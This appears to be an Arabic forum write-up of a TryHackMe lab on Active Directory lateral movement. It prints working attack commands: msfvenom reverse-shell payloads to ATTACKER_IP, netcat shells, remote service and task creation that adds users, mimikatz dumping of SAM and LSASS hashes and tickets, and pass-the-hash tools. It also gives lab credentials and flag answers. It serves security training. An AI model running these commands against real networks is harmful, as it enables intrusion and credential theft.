






السمعة:
- إنضم17 يونيو 2023
- المشاركات 532
- الحلول 10
- مستوى التفاعل 1,129
- النقاط 93
الـ Lateral Movement
زي ما بنحرك القطع على الشطرنج

راح نركز على الامور هاي بهاد الروم
1. ما هي الـ Lateral Movement
2. تشغيل العمليات عن بعد
3. عمل Lateral Movement عن طريق الـ WMI
4. المصادقة البديلة Alternate Authentication
5. استغلال تصرفات المستخدمين بالشبكة
6. الـ Port Forwarding
التحديات من TryHackMe | Enumerating Active Directory
ما هي الـ Lateral Movement
سبق وشرحنا كيف نتصل بالشبكه وكيف نزبط اعدادات الـ DNS بالاجزاء السابقه ... ملف الـ VPN اسمه lateralmovementandpivoting
شو يعني الحركة الجانبية او الـ Lateral Movement ؟
ببساطة هي مجموعة من الأساليب اللي بنستخدمها عشان نتنقل داخل الشبكة بعد ما نوصل لأول جهاز بالشبكة بنحتاج نتنقل عشان نوصل لأهدافنا بنتجاوز قيود الشبكة بنفتح نقاط دخول جديدة وبنعمل لخبطة عشان نتجنب الكشففي كتير من نماذج الهجوم السيبراني cyber kill chains بعتبروا الـ Lateral Movement هي مجرد خطوة إضافية بأي عملية هجوم بتمشي بشكل خطوات (يعني خطوة ورا خطوة) لكن الواقع الـ Lateral Movement هي جزء من دورة مستمرة
بالدورة هاي بنستخدم أي بيانات دخول متاحة عشان ننتقل او عشان نرفع صلاحياتنا ونستخرج بيانات دخول جديدة اذا قدرنا وبنعيد نفس الدورة مره ثانيه

مثال عالسريع
نتخيل إننا بعملية اختبار أمني للشبكة red team engagement وهدفنا النهائي هو الوصول لمستودع الاكواد ( النظام اللي بتم فيه تخزين وإدارة الأكواد البرمجية) داخلي بالشركةأول خطوة عشان نخترق الشبكة كانت عن طريق حملة تصيد phishing وهي غالبًا بتكون فعّالة ضد المستخدمين اللي ما عندهم خبرة تقنية كبيرة يعني ممكن يكون أول جهاز بنخترقه هو جهاز من قسم التسويق

أجهزة قسم التسويق عادةً بكون عليها قيود زي الـ firewall عشان ما نقدر نوصل للخدمات الحساسة اللي بالشبكة زي بروتوكولات الإدارة و منافذ قواعد البيانات و خدمات المراقبة وأي خدمات ما بحتاجوها بشغلهم اليومي وضمن هاي القيود بكون الوصول لمستودع الكود
عشان نوصل للأجهزة الحساسة والخدمات المطلوبة بنحتاج ننتقل لأجهزة ثانية بالشبكة وبنعمل عملية الـ pivot ( اللي هي الانتقال من جهاز ) لهدفنا النهائي
مثلاً ممكن نحاول نرفع صلاحياتنا على جهاز التسويق ونستخرج هاشات كلمات المرور للمستخدمين اللي على نفس الشبكه او لو لقينا حساب أدمن ممكن يكون نفس الحساب موجود على أجهزة ثانية بالشبكة
مثلا
بعد شوي بحث مثلا لقينا جهاز اسمه DEV-001-PC بنستخدم هاش كلمة السر الخاصه بالأدمن عشان ندخل على جهاز DEV-001-PC ونتأكد إنه مملوك لأحد المطورين بالشركة من هناك بنقدر نوصل لمستودع الاكواد اللي إحنا مستهدفينه
الحركة الجانبية البسيطة
لاحظ إنه الحركة الجانبية مش بس عشان نتجاوز قيود الـ firewall كمان ممكن تساعدنا نتجنب الكشف بمثالنا حتى لو كان جهاز التسويق بقدر يوصل لمستودع الكود مباشرة ممكن يكون أفضل إننا نتصل من خلال جهاز المطور هاذ السلوك بكون أقل شكوكًا من ناحية محلل أمني بشوف سجلات الدخول
من وجهة نظر المهاجم
في عدة طرق عشان نتحرك بين الاجهزه أسهل طريقة هي نستخدم بروتوكولات الإدارة العادية زي WinRM, RDP, VNC أو SSH عشان نتصل بأجهزة ثانية بالشبكةهاي الطريقة بتساعد إننا نظهر كأنه مستخدم عادي لو بنحافظ على التنسيق بالأماكن اللي بنتصل منها وإلها
مثلا لو موظف من قسم الـ IT اتصل بالـ web server عن طريق بروتوكول الـ RDP هاد سلوك ممكن يكون طبيعي وما يلفت الانتباه لأنه من الشائع إنه موظفي الـ IT يتصلوا بخوادم الويب
بس لازم ننتبه ما نعمل اتصالات مشبوهة ( زي ليش الأدمن يتصل بجهاز DEV-001-PC من جهاز التسويق ؟



بأيامنا هاي المهاجمين عندهم طرق ثانية للـ Lateral Movement اللي بتصعب الأمور على الفريق الدفاعي عشان يكتشفوا شو بصير مع إنه ما في تقنية كاملة بس ممكن نحاول نكون أكثر هدوء بالمواضيع الجاية رح نراجع أشهر تقنيات الـ Lateral Movement
الـ Administrators والـ User Account Control
لما بنستخدم معظم تقنيات للـ Lateral Movement بالموضوع هاد راح نستخدم بشكل رئيسي بيانات الأدمن مع إنه ممكن نتوقع إنه كل حسابات الأدمن's بتقوم بنفس الوظيفة بس لازم نفرق بين نوعين من الأدمن's :1. الـ Local accounts
2. الـ Domain accounts
اللي هما الثنين يعتبروا جزء من group الـ Administrators الـ Local
الفرق اللي بهمنا هو القيود اللي بفرضها الـ UAC على الـ Local accounts (ما عدا حساب الأدمن الافتراضي)
بشكل افتراضي الـ Local accounts ما بقدروا يتصلوا عن بعد بجهاز ويعملوا مهام إدارية إلا إذا كانوا داخلين عن طريق جلسة تفاعلية من خلال الـ RDP ويندوز رح يرفض أي مهام إدارية بطلبوها عبر الـ RPC او الـ SMB أو الـ WinRM لأنهم مسجلين دخول بـ medium integrity token ( هو مثل شارة بتحدد مستوى الصلاحيات اللي عندك )
اللي بتمنع الحساب من تنفيذ إجراءات بصلاحيات فقط اللي بحصل على الصلاحيات كامله هو الـ default Administrator account
الـ Domain accounts اللي عندها صلاحيات إدارية محلية ما رح يتم التعامل معها نفس الاشي ورح يكونوا مسجلين دخول بصلاحيات إدارية كاملة
هاي الميزة الأمنية ممكن تتعطل وأحيانًا بنلاقي إنه ما في فرق بين الحسابات الـ Domain والحسابات الـ Domain بـ group الأدمن's , لو واجهت مشكلة بتنفيذ الـ Lateral Movement تأكد إنك ما بتستخدم حساب أدمن Local عليه قيود من الـ UAC
بإمكانك تقرأ تفاصيل أكتر عن هاي الميزة من هاد الرابط

User Account Control and remote restrictions - Windows Server
Describes User Account Control (UAC) and remote restrictions in Windows Vista.
docs.microsoft.com
تشغيل العمليات عن بعد
هون راح نحكي عن الطرق اللي ممكن نستخدمها عشان نشغل عملية ( برنامج أو أمر ) على جهاز بعيد عننا صلاحيات عليه
كل طريقة من الطرق اللي راح نحكي عنها الها أسلوب مختلف وكل واحدة ممكن تكون مناسبة حسب الظروف المتوفره
1. الـ Psexec
البورتات : ( 445 / TCP ) SMB
الشرط : مطلوب يكون بمجموعة الـ Administrators ( يعني لازم تكون أدمن عالجهاز اللي بدك تشغل عليه العملية )
الطريقة هاي هي الأقدم والأكثر استخدامًا لتشغيل عمليات عن بعد
الـ Psexec بسمح للـ Administrators إنه يشغل أوامر عن بعد على أي جهاز عنده صلاحيات عليه
كيف بشتغل :
بتصل بـ Admin$ وبعمل تحميل لملف service binary قابل للتنفيذ على الجهاز البعيد
بشغل الـ service باسم PSEXESVC وبنربطها بالملف اللي حملناه
بنستخدم الـ pipes عشان نخليه يتعامل مع المدخلات والمخرجات

عشان نشغل الـ Psexec كل اللي بنحتاجه هو صلاحيات الأدمن على الجهاز اللي بدنا نتصل عليه والأمر اللي بدنا نشغله :
Bash:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
2. تشغيل العمليات عن بعد باستخدام WinRM
البورتات : 5985 / TCP (WinRM HTTP) أو 5986 / TCP (WinRM HTTPS)
الشرط : مطلوب يكون بـ group الـ Remote Management Users
الـ WinRM هو بروتوكول يستخدم لتشغيل أوامر الـ PowerShell على أجهزة ويندوز عن بعد
أغلب الأحيان WinRM بكون متفعل بشكل افتراضي على سيرفرات الويندوز وهاد بخليه هدف مهم لأي مهاجم
عشان تتصل بجلسة الـ PowerShell عن بعد عن طريق الـ command line بنقدر نستخدم الأمر هاد :
Bash:
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
وبإمكاننا برضو عن طريق الـ PowerShell بنستخدمه مباشرة لكن اذا بدنا نستخدم بيانات دخول مختلفة بنعمل PSCredential object بنستخدم الامر :
Bash:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
بعد هيك بإمكاننا ندخل على الجلسة باستخدام الأمر هاد :
Bash:
Enter-PSSession -Computername TARGET -Credential $credential
اذا بدنا نشغل سكربت Script عن بعد بنستخدم الامر هاد :
Bash:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
3. تشغيل الخدمات عن بعد باستخدام sc
البورتات:
135 / TCP
49152-65535 / TCP (DCE/RPC)
445 / TCP (RPC over SMB Named Pipes)
139 / TCP (RPC over SMB Named Pipes)
الشرط : مطلوب يكون بمجموعة الـ Administrators لازم يكون أدمن عالجهاز
الـ Services بويندوز بتشتغل بأوامر لما بتبدأ فـ ممكن نستخدم هاي الـ Services عشان نشغل أوامر معينة باستخدام sc.exe اللي هي أداة موجودة بالويندوز بنقدر ننشئ خدمة على جهاز بعيد :
لما نستخدم الـ sc.exe هو بحاول يتصل ببرنامج اسمه ( إدارة الخدمات Service Control Manager (SVCCTL) ) عن طريق بروتوكول الـ RPC بالبداية
1. جهاز الـ Client ببعث طلب للـ ( Endpoint Mapper ) عبر المنفذ رقم 135 ( الـ ( Endpoint Mapper ) يُستخدم لاكتشاف خدمات الـ RPC المتاحة ) وبطلب معلومات عن الـ SVCCTL
2. بعد هيك الـ ( Endpoint Mapper ) برد بعنوان الـ IP ومنفذ لازم نتصل عليه عشان نوصل لإدارة الخدمات

إذا فشلت المحاولة الأولى الـ sc.exe بجرب طريقة ثانية عن طريق بروتوكول ثاني اسمه SMB وبستخدم منافذ 445 أو 139 عشان يوصل لنفس البرنامج
بعد ما يتم الاتصال بنقدر نعمل خدمة جديدة على الجهاز البعيد ونشتغل الخدمة بأمر معين بنحدده احنا واخر اشي بنقدر نوقف الخدمة أو نحذفها لما نخلص منها
عشان نشغل خدمه جديده بنستخدم الامر :
Bash:
sc.exe \\TARGET create Aservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start Aservice
والأمر هاد بشغل net user اللي بضيف مستخدم جديد بس مش راح تظهر نتيجة للامر لأنه النظام هو اللي بشغل الخدمة
الـ net user هي لإنشاء حسابات مستخدمين جديدة او حذف حسابات موجودة او لتغيير كلمات المرور او تعديل إعدادات الحسابات...
عشان نوقف ونمسح الخدمة بنستخدم الاوامر :
Bash:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
إنشاء المهام المجدولة Remotely
ميزة ثانية بـ ويندوز هي المهام المجدولة الـ Scheduled Tasks اللي ممكن نشغلها Remotely باستخدام الـ schtasks عشان ننشئ مهمة جديدة ونشغلها :
Bash:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
شرح الخيارات:
الـ s TARGET/ : بشير لاسم أو عنوان IP للجهاز البعيد
الـ "RU "SYSTEM/ : بشغل مهمة باستخدام حساب الـ SYSTEM
الـ create/ : بعمل انشاء لخدمة جديدة
الـ "tn "THMtask1/ : اسم الخدمة
الـ "<tr "<command/payload to execute/ : الأمر أو الـ payload التي بدنا ننفذه
الـ sc ONCE/ : تعيين نوع الجدولة لتكون لمرة واحدة فقط
الـ sd 01/01/1970/ : تاريخ البدء (ما بكونله تأثير كبير لأن المهمة راح نشغلها يدويًا )
الـ st 00:00/ : وقت البدء ( نفس الاشي فوق)
ومن الأفضل نمسح المهمة بعدها :
Bash:
schtasks /S TARGET /TN "THMtask1" /DELETE /F
نبدأ
المهمة هاي بتحتاج تتصل بـ THMJMP2 باستخدام البيانات اللي عندك من المهمة الأولى عشان نتصل :
Bash:
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com
تخيل انك قدرت توصل لبيانات الأدمن راح نشرح كيف نعمل Lateral Movement باستخدام sc.exe
t1_leonard.summers
EZpass4ever
كمان ممكن نرفع أي ملف تنفيذي ( binary ) ونربطه بالخدمة اللي أنشأناها بس لو حاولنا نشغل reverse shell بالطريقة هاي بنلاحظ إنه الاتصال بتسكر بسرعة لأنه الخدمة بتوقف العملية فورًا
الحل هو نستخدم msfvenom عشان نخلي البايلود الخاص فينا على شكل خدمة عشان ما يتوقف
عشان ننشئ reverse shell باستخدام msfvenom :
Bash:
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe
بنرفع الملف هاد :
Bash:
smbclient -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$' -c 'put myservice.exe'
وبس يطلب كلمه السر بندخل
EZpass4ever
وبنشغل جهاز مستمع (listener) :
Bash:
msfconsole -q
use exploit/multi/handler
set LHOST lateralmovement
set LPORT 4444
set payload windows/shell/reverse_tcp
exploit
أو ممكن نستخدم الأمر بسطر واحد :
Bash:
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
بالخطوة الأخيرة بنحتاج نستخدم الـ runas عشان نحصل على shell ثاني باستخدام بيانات دخول المستخدم :
Bash:
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
وبس يطلب كلمه السر بندخل
EZpass4ever
بنستقبل الاتصال بالـ nc :
Bash:
nc -lvp 4443
اخر اشي بننشئ خدمة جديدة باستخدام الـ sc.exe وبنربطها بالملف اللي رفعناه قبل شوي عن طريق الـ smbclient :
Bash:
sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-3249
بعد ما نشغل الخدمة بنحصل على اتصال نفس اللي بالصوره
بعد تشغيل الملف "flag.exe" على سطح المكتب t1_leonard.summers على THMIIS، ما هو العلم؟
THM{MOVING_WITH_SERVICES}
عمل Lateral Movement عن طريق الـ WMI
الـ WMI هي اختصار لـ Windows Management Instrumentation وهي عبارة عن واجهة لإدارة المعلومات بأنظمة ويندوز بامكاننا نعتبر الـ WMI كأداة لإدارة النظام بتساعدنا بتنفيذ مهام إدارية على الأجهزة لكن بامكاننا احنا الـ Attacker نستخدم هاي الأداة عشان ننفذ مهام ضارة مثل الـ lateral movement داخل الشبكة
الاتصال بالـ WMI من خلال الـ Powershell :
قبل ما نقدر نتصل بالـ WMI باستخدام أوامر الـ Powershell تحت بنحتاج ننشئ object ـ PSCredential بحتوي على اسم المستخدم وكلمة المرور الخاصة فينا
بتم تخزين الـ object بمتغير credential$ وبنستخدمه كمان شوي :
Bash:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
عشان ننشئ WMI session :
بإمكاننا نستخدم بروتوكولين :
1. DCOM : يستخدم للاتصال بالـ WMI عن طريق بروتوكول RPC عن طريق الـ IP بستخدم المنفذ 135/TCP والمنافذ من 49152 لـ 65535
2. TCP.Wsman : بستخدم WinRM عشان يتصل بالـ WMI عن طريق المنفذين 5985/TCP (لـ HTTP) أو 5986/TCP (لـ HTTPS)
1. عشان ننشئ session بنستخدم الأوامر هاي
Bash:
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
2. عشان نعمل عملية عن بُعد باستخدام WMI عن طريق إرسال طلب لفئة الـ Win32_Process عشان تشغل عملية
* لازم نكون ضمن Group الـ Administrators
مثلا عشان نشغل أمر Powershell يننشئ ملف نصي بنستخدم الامر :
Bash:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command}
على الأنظمة القديمة بإمكاننا نستخدم wmic عشان ننشئ ملف نصي :
Bash:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
3. عشان ننشئ خدمة عن بُعد اسمها THMService2 باستخدام WMI بنستخدم الامر :
* لازم نكون ضمن Group الـ Administrators
Bash:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
بعد هيك بإمكاننا نبدا الخدمة الجديدة باستخدام الاوامر :
Bash:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
وبإمكاننا نوقف الخدمة ونحذفها باستخدام الأوامر التالية :
Bash:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
4. بإمكاننا ننشئ مهام مجدولة عن بُعد باستخدام WMI باستخدام cmdlets بـ Windows
* لازم نكون ضمن Group الـ Administrators
Bash:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
عشان نحذف المهمة المجدولة بعد استخدامها :
Bash:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
5. عشان نثبت حزم MSI عن طريق الـ WMI
* لازم نكون ضمن Group الـ Administrators
الـ MSI هي صيغة ملفات تُستخدم ببرامج التثبيت يعني لو قدرنا ننقل ملف الـ MSI لجهاز الهدف بنقدر نستخدم الـ WMI عشان نثبته هناك
طريقة نقل ملف الـ MSI ممكن تكون بأي طريقة متاحة النا كـ Attacker بعد ما ننقل الملف للنظام الهدف
بنقدر نحاول نثبته باستخدام الـ WMI عن طريق استدعاء الـ class المسماة بـ Win32_Product
الامر بكون كالتالي :
Bash:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
أو بنستخدم الـ wmic على الأنظمة القديمة :
Bash:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
نبدأ نحل التحدي
بنحتاج نتصل بالجهاز THMJMP2 باستخدام بيانات الاعتماد الخاصة اللي اخذناهن من التحدي
بإمكاننا نتصل عن طريق الـ SSH :
Bash:
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com
بنستخدم اسم المستخدم وكلمه السر للـ administrator اللي حصلنا عليهن عشان نعمل move laterally لـ THM-IIS باستخدام WMI وحزم MSI
اول اشي بننشئ حزمة MSI باستخدام msfvenom :
Bash:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstaller.msi
Bash:
smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
Bash:
use multi/handler
set LHOST lateralmovement
set LPORT 4445
set payload windows/x64/shell_reverse_tcp
exploit
Bash:
$username = 't1_corine.waters'; # Variable holding the username
$password = 'Korine.1994'; # Variable holding the password
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; # Converts the plain text password into a secure string format
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; # Creates a credential object using the username and secure password
$Opt = New-CimSessionOption -Protocol DCOM # Creates session options with the DCOM protocol
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop # Initiates a new CIM session to the target machine using the credentials and session options
Bash:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
مجرد ما بتنفذ بنتلقى اتصال
من التحدي - بنلاقي الـ flag على سطح المكتب الخاص بـ t1_corine.waters
بعد ما نشغل ملف flag.exe على سطح مكتب t1_corine.waters على THMIIS، ما هو العلم؟
THM{MOVING_WITH_WMI_4_FUN}
المصادقة البديلة alternate authentication
بتعني أي نوع من البيانات بإمكاننا نستخدمها عشان نوصل لحساب ويندوز بدون ما نعرف كلمه السر للمستخدم بشكل مباشر , وهاد ممكن بسبب طبيعه عمل بعض بروتوكولات التوثيق المستخدمة بشبكات ويندوز , راح نركز على بديلين بإمكاننا نستخدمهم عشان نسجل دخول كـ مستخدم
لما يكون واحد من هذول البروتوكولات متاحًا على الشبكة :
مصادقة NTLM
مصادقة Kerberos
المفروض أننا بنعرف طرق وأدوات عشان نستخرج كلمات سر وحسابات من جهاز , بنستخدم أداة Mimikatz كأداة عشان نستخرج هاي البيانات خلال التحدي
1. مصادقة الـ NTLM
قبل ما ندخل بتقنيات الـ Lateral Movement ، خلينا نفهم كيف بتشتغل مصادقة الـ NTLM :
العميل برسل طلب توثيق للـ Server اللي بدو يوصله
الـ Server بولد رقم عشوائي وبرسله كـ challenge للعميل
العميل بجمع الهاش لكلمه السر الخاصه فيه ( NTLM ) مع الـ challenge (وأي بيانات معروفة) بولد منهم الـ response للـ challenge وبرسلها للـ Server عشان يتحقق منها
الـ Server برسل الـ challenge والـ response لوحدة التحكم بالمجال ( Domain Controller ) عشان يتحقق منهم
وحدة التحكم بالمجال بتستخدم الـ challenge عشان يرد يحسب الـ response ويقارنها بالـ response الأصلية اللي أرسلها العميل فـ إذا تطابقت بتم التوثيق للعميل غير هيك بتم رفض الوصول بعدها بتم ارسال النتيجه للـ Server
الـ Server برسل نتيجة التوثيق للعميل

ملحوظة : هاي العملية بتنطبق لما نستخدم حساب Domain إذا كان الحساب local ممكن الـ Server يتحقق من الـ response للـ challenge بنفسه بدون ما يتفاعل مع وحدة التحكم بالمجال لأنه بحتوي على الهاش لكلمة المرور مخزنة بالـ SAM
تمرير الهاش (Pass-the-Hash)
نتخيل اننا استخراجنا بيانات تسجيل الدخول من جهاز حصلنا على صلاحيات إدارية ( باستخدام mimikatz أو اي اداه مشابهة ) ممكن نحصل على كلمات مرور زي مهي أو تكون هاش بامكاننا كسرها لكن إذا ما كننا محظوظين بننتهي بهاش لكلمات مرور NTLM non-crackedعلى الرغم اننا ما بنقدر نستخدم الهاش لكن بامكاننا نستجيب للـ challenge NTLM ( خلال المصادقه فقط ) عن طريق هاد الهاش هاد يعني انه بامكاننا نعمل مصادقه بدون ما نعرف كلمه السر بس نعرف الهاش بدال ما نكسر هاش NTLM
إذا كانت شبكة ويندوز معدة لاستخدام مصادقة NTLM بامكاننا نستخدم Pass-the-Hash (PtH) ونعمل مصادقه بنجاح
عشان نستخرج الـ NTLM هاش بإمكاننا إما نستخدم mimikatz لقراءة الـ Local SAM أو نستخرج الهاش مباشرة من ذاكرة الـ LSASS
عشان نستخرج الـ NTLM هاش من الـ Local SAM بنستخدم الامر :
كود:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
الاول بعطي صلاحيات عالية لأداة mimikatz
الثاني برفع مستوى الصلاحيات بحيث بنقدر نستخدم الأوامر اللي بتتطلب صلاحيات الـ Administrator
الثالث بستخرج الهاش
عشان نستخرج هاش الـ NTLM من ذاكرة الـ LSASS :
كود:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
الاول بعطي صلاحيات عالية لأداة mimikatz
الثاني برفع مستوى الصلاحيات بحيث بنقدر نستخدم الأوامر اللي بتتطلب صلاحيات الـ Administrator
الثالث بستخرج الهاش
بامكاننا نستخدم الهاش اللي استخرجناه عشان ننفذ هجوم PtH باستخدام mimikatz
بحيث بنحقن الـ access token الخاص بالضحية وبنفتح جلسة تحكم عن بعد reverse shell أو بنشغل أي أمر ثاني حسب رغبتنا مثل ما هو موضح بالأوامر :
كود:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
لاحظ أننا استخدمنا الـ token::revert عشان نستعيد صلاحيات التوكن الأصلية
لا ننسا اننا نحاول نستخدم Pass-the-Hash بتوكن بصلاحيات عاليه زي الـ Administrator ما بتنجح لانه لو حاولت النظام ممكن يمنعك
هاي الطريقة هي المكافئة لاستخدام runas /netonly ولكن عن طريق الهاش بدلا من كلمة مرور وبنوخذ reverse shell وبنفذ اي امر بدنا اياها كمستخدم الضحية
عشان نشغل الـ listener :
Bash:
nc -lvp 5555
إذا شغلنا الأمر whoami على الاتصال هاد بعرضلك لك المستخدم الأصلي اللي بتستخدمه قبل ما تعمل PtH ولكن أي أمر بتشغله هون بستخدم بيانات الاعتماد اللي حقناها باستخدام PtH
نعمل Passing للهاش عن طريق لينكس
في ادوات بتوفر دعم مدمج لعمل الـ PtH باستخدام بروتوكولات مختلفة بناءً على الخدمات المتاحة النابنعمل وحده من الخطوات هاي
1. بنتصل عن طريق الـ RDP باستخدام PtH :
Bash:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
2. بنتصل عن طريق الـ psexec باستخدام PtH : ( النسخة الخاصة بالـ psexec على لينكس بتدعم PtH )
Bash:
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
3. بنتصل عن طريق الـ WinRM باستخدام PtH :
Bash:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
2. مصادقه الـ Kerberos
نحكي شوي عن Kerberos بشبكات الويندوز وكيف بتشتغل :1. المستخدم برسل اسم المستخدم وتوقيت مشفر باستخدام مفتاح مشتق من كلمة السر إلى مركز توزيع المفاتيح (KDC) وهي خدمة عادة بتكون مثبتة على وحدة التحكم بالمجال المسؤولة عن إنشاء تذاكر Kerberos على الشبكة
2. الـ KDC بنشئ وبرسل تذكرة Granting Ticket (TGT) اللي بسمح للمستخدم يطلب تذاكر عشان يوصل لخدمات محددة بدون ما يحط بياناته للخدمات نفسها
وكمان غير الـ TGT برسل الـ KDC مفتاح ( Session Key ) بحتاجه عشان نصادق على الخدمه اللي بدنا اياها ( عشان نولد الطلبات التاليه )

الـ TGT مشفرة باستخدام الهاش لكلمة مرور حساب krbtgt عشان هيك ما بقدر المستخدم يوصل لمحتوياته , واكيد لا ننسا ان الـ TGT المشفر بتضمن نسخة من الـ Session Key كجزء من محتوياته والـ KDC مش بحاجه انه يخزن الـ Session Key لأنه بإمكانه يطلعه عن طريق فك تشفير الـ TGT إذا لزم
اذا بدنا نتصل بخدمه على الشبكة هسا مثل مشاركة ملفات او موقع ويب أو قاعدة بيانات بنستخدم الـ TGT عشان نطلب تذكرة خدمة TGS
الـ TGS هي تذاكر بتسمح بالاتصال بس بالخدمة المحددة اللي تم انشائها عشانها
3. عشان نطلب TGS برسل المستخدم اسم المستخدم و توقيت مشفر باستخدام الـ Session Key مع الـ TGT واسم الخدمة (SPN) اللي بحدد الخدمة واسم الخادم اللي بدنا نوصله
4. الـ KDC برد علينا بالـ TGS و مفتاح جلسة الخدمة ( Svc Session Key ) اللي بنحتاجه عشان نصادق على الخدمة اللي بدنا نوصللها
يتم تشفير الـ TGS باستخدام هاش مالك الخدمة اللي هو المستخدم أو حساب الجهاز اللي بشغل الخدمة وزي ما ذكرنا قبل بحتوي الـ TGS على نسخة من مفتاح جلسة الخدمة ( Svc Session Key ) بمحتوياته المشفرة بحيث بإمكان مالك الخدمة يوصله عن طريق فك تشفير الـ TGS
بعد هيك بنرسل الـ TGS للخدمة اللي عملنا الـ TGS عشانها وحطينا اسمها بالخطوه رقم 3 وبنعمل اتصال
الخدمه بتستخدم هاش حسابها المكون لتشفير الـ TGS وبتتحقق من الـ TGS
1. عمليه تمرير التذكرة Pass-the-Ticket
بتعتمد على استخراج الـ Kerberos tickets اللي موجودة بذاكرة جهاز الضحية وبعدين بنحقنها بجهازنا عشان نقدر تستخدمها لنوصل لنفس الصلاحيات اللي مع الضحيةببعض الأحيان بإمكاننا نستخرج باستخدام الـ mimikatz
تذاكر Kerberos ( وهي زي تصريح أو تذكرة مرور بتسمحلك بالوصول لخدمات الشبكة )
والـ Session Key's ( المفاتيح اللي بنستخدمها مع التذاكر ) من ذاكرة الـ LSASS ( اختصارها Local Security Authority Subsystem Service )
عشان نعمل هاد الاشي لازم يكون معنا صلاحيات الـ SYSTEM على جهاز المستهدف وبإمكاننا نعمل هاد الاشي كالتالي :
كود:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
الامر الاول بعطيك صلاحيات عاليه عشان نقدر نتعامل مع الذاكره
1. الامر الثاني بستخرج كل التذاكر المخزنة بذاكرة الـ LSASS على شكل ملفات kirbi
لاحظ أنه إذا كان عنا فقط وصول للتذكرة ولكن ما في Session Key المقابل > ما بنقدر نستخدم هاي الـ Ticket عشان هيك الشغلتين مطلوبات عشان نعمل Pass للـ Ticket
2. عشان نحقن التذكره بجلستنا عن طريق اداه Mimikatz
كود:
mimikatz # kerberos::ptt [Path_To_Ticket]
الـ [Path_To_Ticket] هو مسار ملف التذكرة اللي استخرجناه من جهاز الضحية بتكون صيغة الملف kirbi
3. بعد ما نحقن التذكرة ممكن نتأكد إنها انحقنت بشكل صحيح باستخدام أمر kirbi
كود:
klist
ملاحظات أخيرة
التذاكر اللي احنا مهتمين فيها عادةً هي الـ TGT (Ticket Granting Ticket) لأنها بتسمحلنا نطلب وصول لأي خدمة الضحية عنده صلاحيات عليهالازم نكون متأكدين من اننا استخرجنا التذكرة الصحيحة مع session key
